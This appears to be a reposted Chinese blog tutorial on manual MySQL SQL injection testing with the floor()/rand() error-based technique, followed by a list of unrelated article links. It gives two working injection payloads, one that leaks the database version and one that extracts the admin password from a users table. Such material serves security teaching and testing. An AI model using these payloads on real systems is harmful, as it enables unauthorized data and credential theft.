博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL-Inject漏洞手动测试---基于函数报错的信息获取---floor()
阅读量:2066 次
发布时间:2019-04-29

本文共 422 字,大约阅读时间需要 1 分钟。

floor()函数作用: MySQL中用来取整的函数;

条件:MySQL语句中,一定腰满足三个条件,即,要有count(), group by和 rand()
示例:
在这里插入图片描述
实验步骤:

  1. 设计payload:
    aaa’ and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#
    在这里插入图片描述
    在这里插入图片描述
  2. 修改payload,使其直接输出密码:aaa’ and (select 2 from (select count(*), concat((select password from users where username=‘admin’ limit 0, 1), floor(rand(0)*2))x from information_schema.tables group by x)a)#

转载地址:http://qsfmf.baihongyu.com/

你可能感兴趣的文章
Centos7 离线安装RabbitMQ,并配置集群
查看>>
Centos7 or Other Linux RPM包查询下载
查看>>
运行springboot项目出现:Type javax.xml.bind.JAXBContext not present
查看>>
Java中多线程向mysql插入同一条数据冲突问题
查看>>
Idea Maven项目使用jar包,添加到本地库使用
查看>>
FastDFS集群架构配置搭建(转载)
查看>>
HTM+CSS实现立方体图片旋转展示效果
查看>>
FFmpeg 命令操作音视频
查看>>
问题:Opencv(3.1.0/3.4)找不到 /opencv2/gpu/gpu.hpp 问题
查看>>
目的:使用CUDA环境变量CUDA_VISIBLE_DEVICES来限定CUDA程序所能使用的GPU设备
查看>>
问题:Mysql中字段类型为text的值, java使用selectByExample查询为null
查看>>
程序员--学习之路--技巧
查看>>
解决问题之 MySQL慢查询日志设置
查看>>
contOS6 部署 lnmp、FTP、composer、ThinkPHP5、docker详细步骤
查看>>
TP5.1模板布局中遇到的坑,配置完不生效解决办法
查看>>
PHPstudy中遇到的坑No input file specified,以及传到linux环境下遇到的坑,模板文件不存在
查看>>
TP5.1事务操作和TP5事务回滚操作多表
查看>>
composer install或composer update 或 composer require phpoffice/phpexcel 失败解决办法
查看>>
TP5.1项目从windows的Apache服务迁移到linux的Nginx服务需要注意几点。
查看>>
win10安装软件 打开时报错 找不到 msvcp120.dll
查看>>